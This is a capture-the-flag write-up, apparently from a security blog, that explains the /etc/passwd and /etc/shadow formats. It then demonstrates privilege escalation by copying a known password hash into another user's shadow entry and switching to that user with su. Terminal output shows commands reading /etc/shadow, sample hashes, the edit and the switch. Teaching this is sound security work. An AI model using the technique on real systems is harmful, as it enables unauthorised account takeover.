Privilege Escalation: Exploiting write access to /etc/shadow

Recently, I was working on a Capture The Flag (CTF) lab scenario where as an attacker, I had the rare ability to have write access to the /etc/shadow file. I wanted to quickly write up on a technique I did to gain root access to the system.

To begin, let's first quickly understand the differences of /etc/passwd and /etc/shadow and what the contents of each look like and represent.

A typical "/etc/passwd" file would look something like this:

test:x:1002:1002:test,,,:/test:/bin/bash

Each field is separated by a colon (":") and are as follows:
  • "test" = Username
  • "x" = Password field. An "x" means the users password is stored in the /etc/shadow file
  • "1002" = Numeric user id. This is assigned by the adduser command. This identifies the user
  • "1002" = Numeric group id. This represents the group id of the user. Usually this will match the user id too.
  • "test,,," = Full name of user
  • "/test" = The users home directory. Usually will be something like /home/test. 
  • "/bin/bash" = The users "shell account". Usually set to /bin/bash or /bin/sh
Now, moving along to the "/etc/shadow" file, it would look something like this:


test:$6$gmSQKZRp$.T7LrOiLvT66Vqo5NwXB/ne/UgxmQzd46MpMUK67CkMrXDi0xvVg8Hd/h3PXpvFP3DvMsLLrhl7.C42/v93c0.:17921::::::

Just like the /etc/passwd file, each field in the /etc/shadow file will be separated by a colon (":") and are as follows:


  • "test" = Username
  • "$6$gmSQKZRp$.T7LrOiLvT66Vqo5NwXB/ne/UgxmQzd46MpMUK67CkMrXDi0xvVg8Hd/h3PXpvFP3DvMsLLrhl7.C42/v93c0." = Password. If this entry is blank, it means a password is not required to log in, which is usually a bad idea. If there's a "*" in this entry, it means the account has been disabled. 
    • You'll also notice a "$6". This is the algorithm used to hash the password. In linux, it is represented as follows
      • $1 = MD5
      • $2a = Blowfish
      • $2y = Blowfish
      • $5 = SHA-256
      • $6 = SHA-512
    • The next portion is "$gmSQKZRp". This is the salt
    • The next portion is "$.T7LrOiLvT66Vqo5NwXB/ne/UgxmQzd46MpMUK67CkMrXDi0xvVg8Hd/h3PXpvFP3DvMsLLrhl7.C42/v93c0.". This is actual password hash after taking the salt and hashing algorithm into consideration
  • "17921" = This is the number of days since the password was changed. Linux counts these days starting with January 1, 1970
  • "" = This field represents the minimum number of days required between password changes. 
  • "" = This field represents the maximum number of days the password is valid. After that, the user is forced to change their password on the next login
  • "" = This represents the number of days before the password is set to expire and the user will be warned that their password must be changed
  • "" = The number of days after the password expires that the account will be disabled
  • "" = The days since January 1, 1970 that the account is disabled.

You'll notice these last 6 fields were blank. These fields provide the password aging and account lockout time. When managing many users, in a larger environment, these fields will more than likely be populated.

Now that we have the /etc/passwd and /etc/shadow fields out of the way. Let's talk more about what occurred during this lab scenario. Ultimately, I needed to escalate privileges in order to obtain my root flag. When going through my enumeration steps, I noticed that the user I was currently logged in with, had READ & WRITE abilities to the /etc/shadow file. Now, you know this is a bad thing since /etc/shadow should not only be readable by anyone BUT root, it should also not be writable by anyone BUT root. However, we had write access.

Additionally, I did not have the ability to sudo or add users. So, my route was to exploit this ability to write to shadow.

Now, the method I used and there are different approaches that could be done. The method that I used was to update the /etc/shadow password field of the root user. Now, how did I know what to change it to? Simple. I created a test machine with the same operating system (very common when performing penetration testing and exploitation) and created a user with a password that I knew. I then took this password hash and updated it within the root users password field. At which point, I could then "su" to root and type in the password that I knew and poof. I was root.

Let's take a look at this. Instead of using root, I will just use 2 users. One user will be the user I want to escalate to, and the other will be my current user.


root@geoda-security:~# cat /etc/passwd | grep user
highuser:x:1004:1004::/home/highuser:/bin/sh
lowuser:x:1005:1005::/home/lowuser:/bin/sh

As shown above, I have 2 users, highuser and lowuser. Now, in our CTF lab, I had the ability to read and write to the /etc/shadow file. Let's read the file and grep the 2 users:


root@geoda-security:~# cat /etc/shadow | grep user
highuser:$6$B8QiSHG5$w9ROB5UeROKj0NJQl0catX3jsHGsbBMTmdcrqjoE6ltUSBWRhF.gdPtqNPCU9tls83m79IHvEYZvY0o8HAG16/:17955:0:99999:7:::
lowuser:$6$x.QsndDW$/LEtCKeNWZrle9Xzj9f5viSW0FJSId6qfcJ0BIdw0qAvdk5LIz1uxxfZd7k1vLd0lEbAWIcaKtdCnXPZqSmFv0:17955:0:99999:7:::

As shown above, both users have different passwords because both password hashes are different.

Now, in our CTF lab, I already have the ability to log in as the low user. Meaning, I know the low users password. The hash above with "$/LEtCKeNWZr..." is actually the password "lowuser". So, what I can do is replace the password field of highuser, with the password field of lowuser. By doing so, highuser will now have the same password as lowuser, "lowuser".

I open up the /etc/shadow file and replace the password field as illustrated above. I then cat the /etc/shadow file again to confirm changes:


root@geoda-security:~# cat /etc/shadow | grep user
highuser:$6$B8QiSHG5$w9ROB5UeROKj0NJQl0catX3jsHGsbBMTmdcrqjoE6ltUSBWRhF.gdPtqNPCU9tls83m79IHvEYZvY0o8HAG16/:17955:0:99999:7:::
lowuser:$6$x.QsndDW$/LEtCKeNWZrle9Xzj9f5viSW0FJSId6qfcJ0BIdw0qAvdk5LIz1uxxfZd7k1vLd0lEbAWIcaKtdCnXPZqSmFv0:17955:0:99999:7:::
root@geoda-security:~# vim /etc/shadow
root@geoda-security:~# cat /etc/shadow | grep user
highuser:$6$x.QsndDW$/LEtCKeNWZrle9Xzj9f5viSW0FJSId6qfcJ0BIdw0qAvdk5LIz1uxxfZd7k1vLd0lEbAWIcaKtdCnXPZqSmFv0:17955:0:99999:7:::
lowuser:$6$x.QsndDW$/LEtCKeNWZrle9Xzj9f5viSW0FJSId6qfcJ0BIdw0qAvdk5LIz1uxxfZd7k1vLd0lEbAWIcaKtdCnXPZqSmFv0:17955:0:99999:7:::
root@geoda-security:~#

As we can see, the highuser now has the same password hash as the lowuser. Since we know the lowusers password, all we simply need to do is su to the user and POOF, we have 'elevated privileges'.


lowuser@geoda-security:/home$ whoami
lowuser
lowuser@geoda-security:/home$ su highuser
Password: 
highuser@geoda-security:/home$ whoami
highuser
highuser@geoda-security:/home$

And there we have it! I have successfully elevated privileges by replacing the /etc/shadow file's password field of the user we want to elevate to, to a password hash that we know. By then switching users to the user we want to elevate to, and type in the known password, we are able to switch users.

I hope this has been helpful!

Until next time.